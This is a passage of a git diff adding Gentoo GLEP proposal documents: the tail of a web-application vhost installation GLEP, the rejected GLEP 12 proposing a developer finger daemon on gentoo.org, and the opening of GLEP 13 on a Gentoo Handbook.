+The ability to easily configure and administer multiple virtual hosts is a
+must.
+
+3.1 New "vhost" USE Flag
+''''''''''''''''''''''''
+
+To enable support for multiple virtual host installations a new USE flag is
+to be added to Portage. The use flag will be::
+
+	vhost
+
+When *vhost* is _set_ the installation location and configuration for the web
+application will be effected, see below for more details.
+
+3.2 VHost Configuration Tool
+''''''''''''''''''''''''''''
+
+To assist administration of multiple virtual hosts a "VHost Configuration Tool"
+needs to be developed and implemented.	Initial discussion regarding the VHost
+Config tool and proposed usage can be found at http://article.gmane.org/gmane.linux.gentoo.devel/10874.
+
+It's the job of the VHost Config toolset to make a local instance of the web
+application run under a specific web server.
+
+The VHost Configuration Utility will need to be a seperate package, maintained by Gentoo.
+
+Web Server .ebuilds will require the VHost Config tool as a dependency (DEPEND).
+
+`Bug #26293`_ will be used to track the initial progress of the VHost
+Configuration Tool.
+
+.. _Bug #26293: http://bugs.gentoo.org/show_bug.cgi?id=26293
+
+
+The vhost-config must do three main things:
+
+	- creates directories (copies a skeleton directory for the most part).
+	- create web server vhost config files.
+	- HUP web server so it reads in the new config without stopping.
+
+Initially the VHost Config tool should provide support for the Apache web
+server.  As the tool matures support for other web servers can be added.
+
+3.3 Single Host Installation
+''''''''''''''''''''''''''''
+
+For single host installations the .ebuild will make the required
+configurations changes and symlinks using the VHost Config tool to ensure
+that the web application is available to be served from::
+
+	/var/www/localhost/htdocs/${PF}/
+
+In this case it may be feasible for the VHost Config tool to simply symlink the
+directories from /usr/share/webapps/${PF}/ as is appropriate.
+
+3.4 Virtual Host Installation
+'''''''''''''''''''''''''''''
+
+For installations that support multiple virtual hosts the .ebuild will
+install the web application into the default location and then leave configuration
+to the user through the VHost Config tool.
+
+In this case the web application files will be copied from
+/usr/share/webapps/${PF}/ to /var/www/<FQDN>/ by the VHost Config tool.
+
+3.5 Configuration Files
+'''''''''''''''''''''''
+
+As stated above web application *site default* configuration files are to be
+installed into::
+
+	/etc/webapps/${PF}/
+
+The files in this directory are then copied (not symlinked!) by the VHost
+Config tool to the Document Root for each instance of the app that is installed.
+
+This will require the VHost Config toolset to emulate Portage's CONFIG_PROTECT
+behaviour for the web applications.
+
+4. Application Permissions
+--------------------------
+
+Installing web applications and giving the web server ownership of the files
+is a security risk.  This can possibly lead to application configuration
+files being accessed by unwanted third parties.
+
+All web applications should be owned by *root* unless the application
+absolutely requires write access to its installation directories at execution
+time.
+
+Backwards Compatibility
+=======================
+
+There may be some issues regarding compatibility with existing installs of
+web applications.  This is particularly true if the default Document Root is
+moved from what is accepted as the current standard (/home/httpd).
+
+The main issues are:
+	* transition of existing configuration files to the
+	  /etc/webapps/${PF}/ directory.
+	* modification/reconfiguration of applications so that they
+	  are aware of the location of configuration files.
+	* creating the VHost Config toolset to enable installation and
+	  configuration of web applications irrespective of web server.
+
+
+References
+==========
+
+.. [#WebAppPost1] http://article.gmane.org/gmane.linux.gentoo.devel/10411
+.. [#WebAppPost2] http://news.gmane.org/onethread.php?group=gmane.linux.gentoo.devel&root=%3C1059843010.5023.80.camel%40carbon.internal.lan%3E
+.. [#WebAppPost3] http://news.gmane.org/onethread.php?group=gmane.linux.gentoo.devel&root=%3C86960000.1060038977%40valkyrie.lsit.ucsb.edu%3E
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0012.html b/xml/htdocs/proj/en/glep/glep-0012.html
new file mode 100644
index 00000000..122411c3
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0012.html
@@ -0,0 +1,282 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 12 -- Gentoo.org Finger Daemon</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0012.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">12</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo.org Finger Daemon</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0012.txt?cvsroot=gentoo">2004/01/31 21:56:55</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Tavis Ormandy &lt;taviso&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Rejected</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">10-Aug-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">11-Aug-2003</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#reason-for-rejection" id="id21" name="id21">Reason for rejection</a></li>
+<li><a class="reference" href="#abstract" id="id22" name="id22">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id23" name="id23">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id24" name="id24">Rationale</a></li>
+<li><a class="reference" href="#implementation-and-security" id="id25" name="id25">Implementation and Security</a></li>
+<li><a class="reference" href="#example-query" id="id26" name="id26">Example Query</a></li>
+<li><a class="reference" href="#references" id="id27" name="id27">References</a></li>
+<li><a class="reference" href="#copyright" id="id28" name="id28">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id21" id="reason-for-rejection" name="reason-for-rejection">Reason for rejection</a></h1>
+<p>Information about Gentoo development is already significantly fragmented.
+Although this GLEP has its merits, the fact that it is a separate source
+of information, rather than simply another conduit to existing sources
+of information, poses more problems than it solves.  Were this GLEP to
+be resubmitted/modified so that finger was nothing more than an interface
+into existing sources of information, it would probably be accepted.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id22" id="abstract" name="abstract">Abstract</a></h1>
+<p>The finger protocol is documented in rfc742 <a class="footnote-reference" href="#id11" id="id1" name="id1">[1]</a> and rfc1196 <a class="footnote-reference" href="#id12" id="id2" name="id2">[2]</a>, a simple
+protocol that returns a human readable report about a particular user
+of the system. Typically, the information returned will be details such as
+full name, location, etc. These details are entirely optional and are obtained
+from the system passwd file, which of course can be edited or removed with the
+standard chfn(1) <a class="footnote-reference" href="#id13" id="id3" name="id3">[3]</a> command.</p>
+<p>The finger daemon will also return the contents of three files from the users home
+directory, should they exist and be readable.</p>
+<blockquote>
+<ul class="simple">
+<li>~/.project - which should contain information about the project currently being worked on.</li>
+<li>~/.plan - which might contain work being done or a TODO style list.</li>
+<li>~/.pgpkey - which would contain a PGP/GnuPG <a class="footnote-reference" href="#id14" id="id4" name="id4">[4]</a> public key block.</li>
+</ul>
+</blockquote>
+<p>The finger protocol is mature, secure and widely used in the UNIX community.
+There are clients available for all major operating systems, and web-based
+clients for those that dont.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id23" id="motivation" name="motivation">Motivation</a></h1>
+<p>Gentoo developers are already aware of the importance of User Relations <a class="footnote-reference" href="#id19" id="id5" name="id5">[9]</a> .</p>
+<p>It is essential to keep the community up to date with current goals, status
+updates, and information from the development team. Currently it is suggested
+users track mailing lists, monitor the Gentoo bugzilla, developer IRC
+channels and cvs commits.</p>
+<p>While the resources to track developer progress and activity are made
+available to users, they are not in a form usable to many people. Keeping
+track of development is a tedious challenge, even for developers.  For
+non-technical users wishing to track the progress of a developer, using
+mailing lists and bugzilla may not be a practical option.</p>
+<p>Developers may also need a way to quickly find out the progress or activity of
+other developers, different time zones sometimes makes it difficult for
+developers to catch each other on IRC, and making already high-volume mailing
+lists even more cluttered with status updates is not desirable.</p>
+<p>A method that would allow individual developers to keep a log of their
+activities and plans that were instantly accesible to anyone who was
+interested would be desirable, I propose running a finger daemon on
+gentoo.org, or dev.gentoo.org and forwarding requests there from gentoo.org.</p>
+<p>Running a developer finger daemon would improve inter developer communication,
+user communication and relations, and reduce workload on developers who have to
+respond to queries from users on project status updates.</p>
+<p>In the future, it is foreseen that portage will require a cryptographically
+secure means of verifying ebuilds aquired from an rsync mirror are identical
+to those checked into the portage tree by a developer <a class="footnote-reference" href="#id20" id="id6" name="id6">[10]</a> . Making developer keys
+available to users for manually checking the integrity of files, or patches
+sent to them is important. It has long been known that encouraging the
+use of gpg among developers is desirable <a class="footnote-reference" href="#id15" id="id7" name="id7">[5]</a> .</p>
+<p>Should a security vulnerability of a serious nature ever be reported,
+standard procedure <a class="footnote-reference" href="#id16" id="id8" name="id8">[6]</a> is to inform vendors before releasing the information
+to full disclosure security discussion lists. Making the relevant maintainer's
+key easily obtainable will allow reporters to encrypt their reports.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id24" id="rationale" name="rationale">Rationale</a></h1>
+<p>Providing a finger daemon will allow users to instantly access information on
+developers, and all details of that developers current projects that they decide
+to share.</p>
+<p>GPG keys for all developers will be instantly availble, and the output of the
+finger <a class="reference" href="mailto:devname&#64;gentoo.org">devname&#64;gentoo.org</a> command can be piped into gpg --import to instantly
+add it to the users keyring.</p>
+<p>The following projects use finger for user-developer communications,:</p>
+<pre class="literal-block">
+Latest kernel releases, and developer information.
+$ finger &#64;kernel.org
+
+Developers and organisers are encouraged to keep .plans about their
+activity.
+$ finger nugget&#64;distributed.net
+
+Latest NASA news, and information from engineers.
+$ finger nasanews&#64;space.mit.edu
+
+Slackware developers.
+$ finger volkerdi&#64;slackware.com
+
+FreeBSD developers.
+$ finger nakai&#64;freebsd.org
+</pre>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id25" id="implementation-and-security" name="implementation-and-security">Implementation and Security</a></h1>
+<p>Some admins are concerned about the security of running a finger daemon on their
+machines, the class of security issues involved with the finger protocol are
+commonly referred to as &quot;information leaks&quot; <a class="footnote-reference" href="#id17" id="id9" name="id9">[7]</a>.</p>
+<p>This means an attacker may be able to use a finger daemon to identify valid
+accounts on their target, which they would then try to obtain access to.</p>
+<p>This scenario does not apply to this implementation, as the gentoo developer
+names are already well publicised. <a class="footnote-reference" href="#id18" id="id10" name="id10">[8]</a></p>
+<p>No security issues have ever been reported with the fingerd available in gentoo
+portage. Finger is used worldwide by universities, unix systems, and development
+projects.</p>
+<p>Adding dummy users, will be trivial and allow projects such as gentoo-docs,
+gentoo-alpha, gentoo-ppc, etc to maintain .plans and .projects. This will allow
+the projects to maintain more technical details or status updates not suitable
+for their project webpages.</p>
+<p>Adding data to a plan is a lot simpler than updating webpages.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id26" id="example-query" name="example-query">Example Query</a></h1>
+<p>Should a user want information about the author, this might be the output of
+a finger query:</p>
+<pre class="literal-block">
+$ finger taviso&#64;gentoo.org
+Login: taviso                  Name: Tavis Ormandy
+Directory: /home/taviso        Shell: /bin/bash
+Last login: dd-mmm-yyyy
+Mail last read dd-mmm-yyy
+Project:
+
+Currently working on implementing XXX, and porting XXX to XXX.
+
+Plan:
+
+dd-mmm-yyyy
+
+Investigating bug #12345, testing patch provided in #12236
+
+Write documentation for new features in XXX.
+
+dd-mmm-yyyy
+
+Contact acmesoft regarding license for xxx in portage.
+
+PGP Key:
+
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+Version: GnuPG v1.2.1 (Linux)
+(...)
+-----END PGP PUBLIC KEY BLOCK-----
+</pre>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id27" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id11" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id11">[1]</a></td><td><a class="reference" href="http://www.ietf.org/rfc/rfc0742.txt">http://www.ietf.org/rfc/rfc0742.txt</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id12" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id12">[2]</a></td><td><a class="reference" href="http://www.ietf.org/rfc/rfc1196.txt">http://www.ietf.org/rfc/rfc1196.txt</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id13" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id13">[3]</a></td><td><a class="reference" href="http://www.gentoo.org/dyn/pkgs/sys-apps/shadow.xml">http://www.gentoo.org/dyn/pkgs/sys-apps/shadow.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id14" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="id14">[4]</a></td><td><a class="reference" href="http://www.gnupg.org">http://www.gnupg.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id15" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id7" name="id15">[5]</a></td><td>&lt;<a class="reference" href="mailto:20030629040521.4316b135.seemant&#64;gentoo.org">20030629040521.4316b135.seemant&#64;gentoo.org</a>&gt;</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id16" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id8" name="id16">[6]</a></td><td><a class="reference" href="http://www.oisafety.org/process.html">http://www.oisafety.org/process.html</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id17" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id9" name="id17">[7]</a></td><td><a class="reference" href="http://search.linuxsecurity.com/cgi-bin/htsearch?words=information%20leak">http://search.linuxsecurity.com/cgi-bin/htsearch?words=information%20leak</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id18" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id10" name="id18">[8]</a></td><td><a class="reference" href="http://www.gentoo.org/main/en/devlist.xml">http://www.gentoo.org/main/en/devlist.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id19" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5" name="id19">[9]</a></td><td><a class="reference" href="http://www.gentoo.org/proj/en/devrel/user-relations.xml">http://www.gentoo.org/proj/en/devrel/user-relations.xml</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id20" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6" name="id20">[10]</a></td><td><a class="reference" href="http://www.gentoo.org/news/en/gwn/20030407-newsletter.xml">http://www.gentoo.org/news/en/gwn/20030407-newsletter.xml</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id28" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document is released under the Open Publications License.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0012.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0012.txt b/xml/htdocs/proj/en/glep/glep-0012.txt
new file mode 100644
index 00000000..2a48d124
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0012.txt
@@ -0,0 +1,190 @@
+GLEP: 12 
+Title: Gentoo.org Finger Daemon 
+Version: $Revision: 1.2 $ 
+Last-Modified: $Date: 2004/01/31 21:56:55 $ 
+Author: Tavis Ormandy <taviso@gentoo.org> 
+Status: Rejected 
+Type: Standards Track 
+Created: 10-Aug-2003 
+Post-History: 11-Aug-2003
+
+Reason for rejection
+====================
+
+Information about Gentoo development is already significantly fragmented.
+Although this GLEP has its merits, the fact that it is a separate source
+of information, rather than simply another conduit to existing sources 
+of information, poses more problems than it solves.  Were this GLEP to
+be resubmitted/modified so that finger was nothing more than an interface
+into existing sources of information, it would probably be accepted.
+
+
+Abstract
+========
+
+The finger protocol is documented in rfc742 [1]_ and rfc1196 [2]_, a simple
+protocol that returns a human readable report about a particular user
+of the system. Typically, the information returned will be details such as
+full name, location, etc. These details are entirely optional and are obtained
+from the system passwd file, which of course can be edited or removed with the
+standard chfn(1) [3]_ command.
+
+The finger daemon will also return the contents of three files from the users home
+directory, should they exist and be readable. 
+
+
+	* ~/.project - which should contain information about the project currently being worked on.
+	* ~/.plan - which might contain work being done or a TODO style list.
+	* ~/.pgpkey - which would contain a PGP/GnuPG [4]_ public key block.
+
+The finger protocol is mature, secure and widely used in the UNIX community.
+There are clients available for all major operating systems, and web-based
+clients for those that dont.
+
+Motivation
+==========
+
+Gentoo developers are already aware of the importance of User Relations [9]_ .
+
+It is essential to keep the community up to date with current goals, status 
+updates, and information from the development team. Currently it is suggested
+users track mailing lists, monitor the Gentoo bugzilla, developer IRC
+channels and cvs commits.
+
+While the resources to track developer progress and activity are made
+available to users, they are not in a form usable to many people. Keeping
+track of development is a tedious challenge, even for developers.  For
+non-technical users wishing to track the progress of a developer, using
+mailing lists and bugzilla may not be a practical option.
+
+Developers may also need a way to quickly find out the progress or activity of
+other developers, different time zones sometimes makes it difficult for
+developers to catch each other on IRC, and making already high-volume mailing
+lists even more cluttered with status updates is not desirable.
+
+A method that would allow individual developers to keep a log of their
+activities and plans that were instantly accesible to anyone who was
+interested would be desirable, I propose running a finger daemon on
+gentoo.org, or dev.gentoo.org and forwarding requests there from gentoo.org.
+
+Running a developer finger daemon would improve inter developer communication, 
+user communication and relations, and reduce workload on developers who have to 
+respond to queries from users on project status updates.
+
+In the future, it is foreseen that portage will require a cryptographically 
+secure means of verifying ebuilds aquired from an rsync mirror are identical 
+to those checked into the portage tree by a developer [10]_ . Making developer keys 
+available to users for manually checking the integrity of files, or patches 
+sent to them is important. It has long been known that encouraging the 
+use of gpg among developers is desirable [5]_ .
+
+Should a security vulnerability of a serious nature ever be reported, 
+standard procedure [6]_ is to inform vendors before releasing the information 
+to full disclosure security discussion lists. Making the relevant maintainer's 
+key easily obtainable will allow reporters to encrypt their reports. 
+
+Rationale
+=========
+
+Providing a finger daemon will allow users to instantly access information on 
+developers, and all details of that developers current projects that they decide 
+to share. 
+
+GPG keys for all developers will be instantly availble, and the output of the 
+finger devname@gentoo.org command can be piped into gpg --import to instantly 
+add it to the users keyring.
+
+The following projects use finger for user-developer communications,::
+
+	Latest kernel releases, and developer information.
+	$ finger @kernel.org
+
+	Developers and organisers are encouraged to keep .plans about their
+	activity.
+	$ finger nugget@distributed.net
+
+	Latest NASA news, and information from engineers.
+	$ finger nasanews@space.mit.edu 
+
+	Slackware developers.
+	$ finger volkerdi@slackware.com
+
+	FreeBSD developers.
+	$ finger nakai@freebsd.org
+
+Implementation and Security
+===========================
+
+Some admins are concerned about the security of running a finger daemon on their 
+machines, the class of security issues involved with the finger protocol are 
+commonly referred to as "information leaks" [7]_. 
+
+This means an attacker may be able to use a finger daemon to identify valid 
+accounts on their target, which they would then try to obtain access to.
+
+This scenario does not apply to this implementation, as the gentoo developer 
+names are already well publicised. [8]_
+
+No security issues have ever been reported with the fingerd available in gentoo 
+portage. Finger is used worldwide by universities, unix systems, and development 
+projects.
+
+Adding dummy users, will be trivial and allow projects such as gentoo-docs,
+gentoo-alpha, gentoo-ppc, etc to maintain .plans and .projects. This will allow 
+the projects to maintain more technical details or status updates not suitable 
+for their project webpages.
+	
+Adding data to a plan is a lot simpler than updating webpages.
+
+Example Query
+=============
+
+Should a user want information about the author, this might be the output of 
+a finger query::
+
+	$ finger taviso@gentoo.org 
+	Login: taviso                  Name: Tavis Ormandy 
+	Directory: /home/taviso        Shell: /bin/bash 
+	Last login: dd-mmm-yyyy 
+	Mail last read dd-mmm-yyy 
+	Project:
+	
+	Currently working on implementing XXX, and porting XXX to XXX.
+	
+	Plan:
+	
+	dd-mmm-yyyy
+	
+	Investigating bug #12345, testing patch provided in #12236 
+	
+	Write documentation for new features in XXX.
+	
+	dd-mmm-yyyy
+	
+	Contact acmesoft regarding license for xxx in portage.
+	
+	PGP Key: 
+	
+	-----BEGIN PGP PUBLIC KEY BLOCK----- 
+	Version: GnuPG v1.2.1 (Linux) 
+	(...) 
+	-----END PGP PUBLIC KEY BLOCK-----
+
+References
+==========
+
+.. [1]	http://www.ietf.org/rfc/rfc0742.txt
+.. [2]	http://www.ietf.org/rfc/rfc1196.txt
+.. [3]	http://www.gentoo.org/dyn/pkgs/sys-apps/shadow.xml
+.. [4]	http://www.gnupg.org
+.. [5]	<20030629040521.4316b135.seemant@gentoo.org>
+.. [6]	http://www.oisafety.org/process.html
+.. [7]	http://search.linuxsecurity.com/cgi-bin/htsearch?words=information%20leak
+.. [8]	http://www.gentoo.org/main/en/devlist.xml
+.. [9]  http://www.gentoo.org/proj/en/devrel/user-relations.xml
+.. [10] http://www.gentoo.org/news/en/gwn/20030407-newsletter.xml
+
+Copyright
+=========
+
+This document is released under the Open Publications License.
diff --git a/xml/htdocs/proj/en/glep/glep-0013.html b/xml/htdocs/proj/en/glep/glep-0013.html
new file mode 100644
index 00000000..eb66190f
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0013.html
@@ -0,0 +1,355 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 13 -- Providing the users with a Gentoo Handbook</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0013.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">13</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Providing the users with a Gentoo Handbook</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0013.txt?cvsroot=gentoo">2004/10/26 00:21:28</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Sven Vermeulen &lt;swift&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">15 Aug 2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">19-Aug-2003 25-Oct-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id9" name="id9">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id10" name="id10">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id11" name="id11">Rationale</a></li>
+<li><a class="reference" href="#implementation" id="id12" name="id12">Implementation</a><ul>
+<li><a class="reference" href="#extending-guidexml" id="id13" name="id13">Extending GuideXML</a></li>
+<li><a class="reference" href="#installation-instructions" id="id14" name="id14">Installation Instructions</a></li>
+<li><a class="reference" href="#system-administration" id="id15" name="id15">System Administration</a></li>
+<li><a class="reference" href="#gentoo-development" id="id16" name="id16">Gentoo Development</a></li>
+<li><a class="reference" href="#user-applications" id="id17" name="id17">User Applications</a></li>
+</ul>
+</li>
+<li><a class="reference" href="#backwards-compatibility" id="id18" name="id18">Backwards Compatibility</a></li>
+<li><a class="reference" href="#reference-implementation" id="id19" name="id19">Reference Implementation</a></li>
+<li><a class="reference" href="#references" id="id20" name="id20">References</a></li>
+<li><a class="reference" href="#copyright" id="id21" name="id21">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP provides a vision on the evolution of the Gentoo Documentation,
+namely a handbook-like document that provides its readers documentation about
+every aspect of the Gentoo distribution: installation, administration,
+application usage, development etc.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id10" id="motivation" name="motivation">Motivation</a></h1>
+<p>Gentoo's current Installation Guide <a class="footnote-reference" href="#instguide" id="id1" name="id1">[1]</a> is rapidly growing, being
+extended with more and more features that the Gentoo users can help with their
+quest for the perfect installation. This increase is needed and a Good Thing,
+but it makes the guide less easy to read or use as reference.</p>
+<p>There is no reason whatsoever that this evolution will stagnate, on the
+contrary: people start asking why the Alternative Installation Guide
+<a class="footnote-reference" href="#altinst" id="id2" name="id2">[2]</a> isn't merged into the Gentoo Installation Guide, or why the
+platform-specific installation guides can't be merged as they all use the same
+steps (with a few differences). I myself even hope to merge our LVM Guide
+<a class="footnote-reference" href="#lvm" id="id3" name="id3">[3]</a> into the Installation Guide as I believe several of our users would
+love to use LVM on their machines, but currently don't because they don't know
+how handy and easy it is -- you all know this feeling :)</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id11" id="rationale" name="rationale">Rationale</a></h1>
+<p>To address the beforementioned problem, there are two ideas:</p>
+<ul class="simple">
+<li>Split the Installation Guide into several independent guides. For instance,
+we can move the information regarding the kernelconfiguration into the
+Kernel Guide, create a partitioning-howto that decribes the fdisk (and
+possibly others) steps users need to go through, etc.</li>
+<li>Merge all information into one Big Handbook. This is ofcourse an idea that
+we borrow from our FreeBSD friends <a class="footnote-reference" href="#fbsdhandbook" id="id4" name="id4">[4]</a> who already have an
+extensive handbook related to their BSD-distribution.</li>
+</ul>
+<p>It is this second idea that this GLEP describes.</p>
+<p>This handbook-idea doesn't decrease the installation instructions, on the
+contrary, it extends them. However, by choosing a multiple-page handbook-like
+document, our users receive a fully integrated document that embraces
+everything he or she wants to know. It will also make it more easy to provide
+printable documentation (in PDF or other form) without loosing the comfort of
+having the installation documents online and on the LiveCDs.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id12" id="implementation" name="implementation">Implementation</a></h1>
+<p>To implement such a handbook, the Gentoo Documentation Project <a class="footnote-reference" href="#gdp" id="id5" name="id5">[5]</a> needs a
+rewritten stylesheet for its GuideXML <a class="footnote-reference" href="#guidexml" id="id6" name="id6">[6]</a> format. Since there are no
+problems with GuideXML itself, and since it is very flexible in its use, the
+recommendation to stick with GuideXML is clear. We do need some extra features
+in GuideXML, without breaking the current GuideXML implementation.</p>
+<p>This last thing is important, since implementing this handbook-like document
+should be done parallel to the development of our current documentation:
+developing the Gentoo Handbook takes a long time and we don't want to force
+our users to use a non-usable document.</p>
+<p>After improving the GuideXML format, the first things that need to be
+addressed are the installation instructions. They should be merged with other,
+existing guides that inform the user with installation-specific items (such as
+the Aternative Installation Guide, LVM Guide, Platform-specific Installation
+Guides, etc.</p>
+<p>Other chapters that need to be put in place are:</p>
+<ul class="simple">
